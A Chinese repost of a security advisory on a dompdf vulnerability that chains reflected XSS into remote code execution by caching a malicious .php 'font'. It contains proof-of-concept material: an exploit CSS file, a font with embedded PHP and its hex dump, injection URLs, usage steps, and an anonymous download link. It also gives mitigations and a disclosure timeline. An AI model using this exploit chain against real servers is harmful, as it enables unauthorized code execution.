从XSS到RCE漏洞 dompdf 0day漏洞

从XSS到RCE漏洞 dompdf 0day漏洞

  • 流行的 PHP 库dompdf(用于从 HTML 呈现 PDF)存在允许在某些配置中远程执行代码的漏洞
  • 通过将 CSS 注入到 dompdf 处理的数据中,它可以被欺骗在其字体缓存中存储带有.php文件扩展名的恶意字体,稍后可以通过从 Web 访问它来执行
  • 我们于 2021 年 10 月 5 日向 dompdf 报告了该漏洞。由于尚无可用补丁,我们现在发布有关该漏洞的详细信息,以告知公众风险和可能的解决方法
从XSS到RCE漏洞 dompdf 0day漏洞
目标网站(为了本文的目的,我们创建了一个简单的演示应用程序,其在相关方面的行为类似于客户的网站)

介绍

在去年的一次客户接触中,我们遇到了一个乍一看似乎相当难以理解的网站,因为它基本上是静态的:

从XSS到RCE漏洞 dompdf 0day漏洞

在调查该站点时,我们确实设法找到了反射性的跨站点脚本 (XSS) 问题:

从XSS到RCE漏洞 dompdf 0day漏洞

鉴于该站点没有在客户端的浏览器中存储任何敏感信息(例如身份验证 cookie),这本身就是一个低严重性的发现。

然而,在某些时候,一个有趣的功能引起了我们的注意。该网站提供了以 PDF 格式导出部分页面的选项:

从XSS到RCE漏洞 dompdf 0day漏洞
有趣的功能:将网站导出为 PDF,在服务器上呈现

很快,反射型 XSS 变得更加有趣,因为它让我们也可以控制服务器端 PDF 生成器的输入:

从XSS到RCE漏洞 dompdf 0day漏洞
在标题中注入 HTML 的网站,在服务器上呈现为 PDF

尽管无法注入 PDF 渲染器将解释的 JavaScript,但我们能够注入任意 HTML(如上所示,斜体字为“In PDF”标题)。

在导出的 PDF 上运行pdfinfo会告诉我们哪个库负责在服务器上呈现 PDF:

从XSS到RCE漏洞 dompdf 0day漏洞
显示后端使用的 PDF 渲染器的 pdfinfo 输出

因此,我们知道后端(dompdf)中使用了哪个 HTML 到 PDF 转换器,以及哪个版本。

(请注意,客户端服务器上实际使用的版本是 v0.8.5,但由于我们将在此处显示的漏洞利用路径在最新版本 v1.2.0 上仍然有效,因此我们将使用此版本作为本文的目的. 在披露时,0.8.5 或 1.2.0 版本都没有已知漏洞。)

寻找漏洞

此时,我们将注意力转移到dompdf 的源代码上,看看我们是否能够找到可以让我们进一步访问服务器的漏洞。

引起我们注意的第一件事是在 PDF 渲染期间执行嵌入式 PHP 的选项,如果启用该选项,我们的工作将变得非常容易:

/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within  ...  tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;

但是,这个功能后来被禁用了。(注意:如果您在服务器上运行 dompdf,您可能需要确保关闭此功能。“保护 dompdf”的官方指南对此表示赞同。)

下一个有趣的设置涉及远程资源的加载:

/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;

为了检查此设置的状态,我们使用 XSS 包含一个外部样式表(缩小图像并将其背景设置为浅灰色以进行测试):

从XSS到RCE漏洞 dompdf 0day漏洞

因此,我们可以确认该设置已启用,并可以继续弄清楚这允许我们做什么。

第一种可能性:字体缓存索引

设置时$isRemoteEnabled(或版本 ≤ 0.8.5,无论此设置如何),dompdf 允许通过 font-face CSS 规则加载自定义字体,如下所示:

@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }

当使用外部字体时,dompdf 将其缓存在本地/lib/fonts子目录中,并在dompdf_font_family_cache.phpusing中添加相应的条目saveFontFamilies()。此函数将 dompdf 已知的字体编码为 PHP 数组,以及稍后查找它们所需的信息。

从我们在系统其他地方找到的日志文件中,我们已经怀疑 dompdf 存储在可从 web-root 访问的目录中,实际上在尝试访问字体缓存索引时缺少错误消息似乎表明相同:

从XSS到RCE漏洞 dompdf 0day漏洞
尝试直接访问字体缓存索引:空白页而不是错误消息

由于这意味着我们可以从外部访问的 PHP 文件是根据我们控制的输入生成的,因此探索潜在漏洞似乎是一个值得探索的途径。

然而,我们对 ($family) 有直接影响的唯一参数被充分转义addslashes(),从而使利用变得不可能。因此,我们不得不继续寻找更远的地方——尽管不是很远。

下一步:字体缓存

如果我们不能使用字体缓存索引……我们可以直接使用字体缓存吗?

让我们看看dompdf 如何注册新字体(为清楚起见,此处以压缩形式显示):

/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);
   $styleString = $this->getType("{$style['weight']} {$style['style']}");

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]", "_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

   // Download the remote file
   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
   file_put_contents($localTempFile, $remoteFileContent);

   $font = Font::load($localTempFile);

   if (!$font) {
       unlink($localTempFile);
       return false;
   }

   $font->parse();
   $font->close();

   unlink($localTempFile);

   // Save the changes
   file_put_contents($localFile, $remoteFileContent);
   $this->saveFontFamilies();

   return true;
}

这段代码片段告诉我们一些事情:

  1. 新缓存字体的文件名是确定性的,并且基于我们拥有的信息,即字体名称、选择的样式和其远程 URL 的哈希(第 9-19 行)。上面带有 URLhttp://attacker.local/test_font.ttf weight/style“正常”的测试字体将例如存储为testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
  2. 尽管已注意防止路径遍历漏洞的可能性(通过删除第 16 行和第 17 行中的潜在危险字符),但仍保留了字体的原始文件扩展名
  3. 字体必须是有效的,因为它必须能够在php-font-lib加载和解析中存活下来(第 28 和 35 行)

当检查php-font-lib 的源代码时,很快就发现这个库只检查字体的内部一致性,基于它的文件头,并且完全忽略它的文件扩展名。那么,如果我们采用有效.ttf字体,<?php phpinfo(); ?>在其版权部分添加 a,将其存储为 ‘exploit_font .php ‘ 并通过注入的 CSS 文件包含它,会发生什么?好吧…

从XSS到RCE漏洞 dompdf 0day漏洞
访问恶意字体文件时在受害者服务器上执行 phpinfo()

我们在github.com/positive-security/dompdf-rce上发布了演示应用程序和漏洞利用。

分析

安全漏洞通常是由于(设计)决策基于对底层或互连组件的错误假设而发生的。对于我们遇到的具体场景,我们可以确定三个对客户端服务器上的 RCE 漏洞有重大影响的决策/假设:

  1. “信任 php-font-lib 来检查字体应该没问题,因为它只接受有效的字体(并且具有适当的文件扩展名)”:这个假设是由 dompdf 开发人员做出的,结果证明是不正确的,因为php-font-lib 的有效字体概念只要求字体标题与其内部结构之间的一致性,而不考虑其文件扩展名
  2. “将 dompdf 的设置$isRemoteEnabled设置为 true 应该没问题,因为网站本身本质上是静态的,因此我们控制 PDF 渲染器的输入”:我们的客户做出的这个假设被反射的 XSS 漏洞打破
  3. “将 dompdf 放在外部可访问的子目录中应该没问题”:尽管我们的客户可能不是有意识地执行此操作,而是出于方便,但遗憾的是,该操作被误导了

尽管所有三个因素都是充分利用所必需的,但它们在“可预防性”方面有所不同。

导致字体漏洞的第一个决定是一个错误(尽管很不幸),它很容易在任何复杂的软件项目中发生,并且基本上不可能完全避免。第二个决定增加了我们客户的攻击面,但对于实现预期的功能是必要的。

然而,第三个因素可能更为关键,因为它直接与’Securing dompdf’指南中概述的最高点相矛盾,该指南自 2016 年以来一直以这种形式存在。因此,从事后分析的角度来看,这是有道理的检查导致采取此步骤的工作流程,因为在未正确评估其安全影响的情况下包含外部库将是最容易预防的因素。

影响

有许多用例需要在服务器端生成包含用户提供的输入的 PDF,例如购票、收据/发票或来自服务提供商的其他自动电子邮件,甚至是 Corona 测试证书。如果满足以下先决条件,其中一些服务可能也会受到影响:

  • dompdf 安装在可通过网络访问的目录中。例如,如果使用Composer将库安装在 docroot 内的某处而没有明确禁止访问该vendor文件夹,这可能很容易发生
  • 使用未充分清理的用户输入生成 PDF。这可能是通过例如 XSS 引起的,如此处所示,或通过将用户数据直接传递到后端(例如用户的姓名或地址)
  • 正在使用 dompdf 版本 ≤ 0.8.5,或$isRemoteEnabled设置为 true。请注意,版本 ≤ 0.8.5 不需要$isRemoteEnabled设置为易受攻击,因为即使设置已停用,它们也会加载某些远程元素(例如字体)

虽然我们没有cve编号,但 GitHub 指标表明 dompdf 是从 PHP 生成 PDF 的最流行选项:

软件库叉子Repos
dompdf8.6k1.6k59.2k
snappy4k421
mpdf3.5k88616.6k
tcpdf3.2k1.3k14.5k
tc-lib-pdf1.2k18085

缓解措施

虽然目前还没有适用于 dompdf 的补丁,但您可以采取一些步骤来最大程度地降低暴露于此漏洞的风险。

  1. 确保 dompdf 未安装在 Web 可访问的目录中。这是最重要的一点,因为它将完全阻止漏洞利用
  2. 在将数据传递给 dompdf 之前仔细检查您执行的输入清理,以防止攻击者注入 HTML/CSS。无论如何,这是一个好主意,因为可能还有其他漏洞可以以类似的方式触发
  3. 将 dompdf 更新到最新版本并关闭$isRemoteEnabled(如果可能的话)。尽管在发布本文时可用的最新版本 (1.2.0) 仍然容易受到该漏洞的影响,但它确实会$isRemoteEnabled在尝试从远程位置下载字体之前咨询该设置(与版本 ≤ 0.8.5 不同,后者只是忽略该设置在这种情况下)
  4. 最后,请留意修复此漏洞的 dompdf 补丁,并在可用时应用它。例如,您可以通过使用您选择的 Atom 阅读器订阅dompdf 的发布提要来保持最新状态

时间线

2021-10-05漏洞报告给 [email protected](来自SECURITY.md
2021-10-08跟进报告
2021-10-12创建了一个GitHub 问题以引起对报告的关注
2021-10-13报告已确认,问题标记为“v2.0.0”
2021-11-16版本 1.1.0 已发布,未修复
2021-11-24版本 1.1.1已发布,未修复
2022-01-0390 天后首次报告
2022-02-07版本 1.2.0 发布,未修复
2022-02-07要求开发人员修补 Horizo​​n,并通知他们即将披露的信息
2022-02-16后续电子邮件
2022-03-10后续电子邮件
2022-03-15收到来自 dompdf 的回复,他们“无法提供表示[v2.0]此时更新”
2022-03-16公开披露

结论

在调查客户端网站时,我们在 PDF 呈现 PHP 库 dompdf 中发现了一个漏洞,该漏洞允许我们将带有.php扩展名的字体文件上传到 Web 服务器。为了触发它,我们使用了一个 XSS 漏洞,该漏洞允许我们在网页呈现为 PDF 之前将 HTML 注入到网页中。由于 dompdf 安装在 Web 可访问的目录中(由于日志文件泄露,我们知道它的位置),我们可以导航到上传的.php脚本,让我们在服务器上执行代码。

位于 Web 可访问目录中并已$isRemoteEnabled激活的 dompdf 版本 ≤ 1.2.0 应被视为易受攻击版本,即使$isRemoteEnabled设置为 false,版本 ≤ 0.8.5 也应被视为易受攻击。

POC代码

演示应用程序的漏洞利用文件和源代码可在 GitHub 上获得。

exploit.css

@font-face {
    font-family:'exploitfont';
    src:url('http://localhost:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

exploit_font.php

.....
.�... dum1.......�....cmap...`...�...,glyf5sc�...�....head.�Q6...�...6hhea.�.�...(...$hmtx.D.
...L....loca.
.....T....maxp.......\... name.D.�...|...8dum2.......�....................... ...........-��...-����.........
...:.8....3#5:08.........��._.<�...@....�.8.....�&۽.
...:.8.................L��.....
.
.:.......................D.
.....
.......................................6.....	...........	...........	...........	.......s....
<?php phpinfo(); ?>

转化为二进制后的文件

00 01 00 00 00 0a 00 ef bf bd 00 03 00 20 64 75 6d 31 00 00 00 00 00 00 00 ef bf bd 00 00 00 02 63 6d 61 70 00 0c 00 60 00 00 00 ef bf bd 00 00 00 2c 67 6c 79 66 35 73 63 ef bf bd 00 00 00 ef bf bd 00 00 00 14 68 65 61 64 07 ef bf bd 51 36 00 00 00 ef bf bd 00 00 00 36 68 68 65 61 00 ef bf bd 03 ef bf bd 00 00 01 28 00 00 00 24 68 6d 74 78 04 44 00 0a 00 00 01 4c 00 00 00 08 6c 6f 63 61 00 0a 00 00 00 00 01 54 00 00 00 06 6d 61 78 70 00 04 00 03 00 00 01 5c 00 00 00 20 6e 61 6d 65 00 44 10 ef bf bd 00 00 01 7c 00 00 00 38 64 75 6d 32 00 00 00 00 00 00 01 ef bf bd 00 00 00 02 00 00 00 00 00 00 00 01 00 03 00 01 00 00 00 0c 00 04 00 20 00 00 00 04 00 04 00 01 00 00 00 2d ef bf bd ef bf bd 00 00 00 2d ef bf bd ef bf bd ef bf bd ef bf bd 00 01 00 00 00 00 00 01 00 0a 00 00 00 3a 00 38 00 02 00 00 33 23 35 3a 30 38 00 01 00 00 00 01 00 00 17 ef bf bd ef bf bd 16 5f 0f 3c ef bf bd 00 0b 00 40 00 00 00 00 ef bf bd 15 38 06 00 00 00 00 ef bf bd 26 db bd 00 0a 00 00 00 3a 00 38 00 00 00 06 00 01 00 00 00 00 00 00 00 01 00 00 00 4c ef bf bd ef bf bd 00 12 04 00 00 0a 00 0a 00 3a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 04 00 00 00 00 44 00 0a 00 00 00 00 00 0a 00 00 00 01 00 00 00 02 00 03 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 36 00 03 00 01 04 09 00 01 00 02 00 00 00 03 00 01 04 09 00 02 00 02 00 00 00 03 00 01 04 09 00 03 00 02 00 00 00 03 00 01 04 09 00 04 00 02 00 00 00 73 00 00 00 00 0a 3c 3f 70 68 70 20 70 68 70 69 6e 66 6f 28 29 3b 20 3f 3e

poc下载地址

GitHub:
https://github.com/positive-security/dompdf-rce.zip

匿名网盘下载:
https://anonfiles.com/54yfLaO3x7/dompdf-rce_rar
解压密码:www.ddosi.org

POC使用方法

  1. 运行演示应用程序
cd application
php -S localhost:9000
  1. 运行漏洞利用服务器
cd exploit
php -S localhost:9001
  1. 触发漏洞利用
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
  1. 访问缓存的 php“字体”文件并执行phpinfo()
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

请注意:如果您使用不同的域或端口,请进行exploit/exploit.css相应编辑并检查application/dompdf/lib/fonts完整的字体文件名。

from

转载请注明出处及链接

2 comments

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注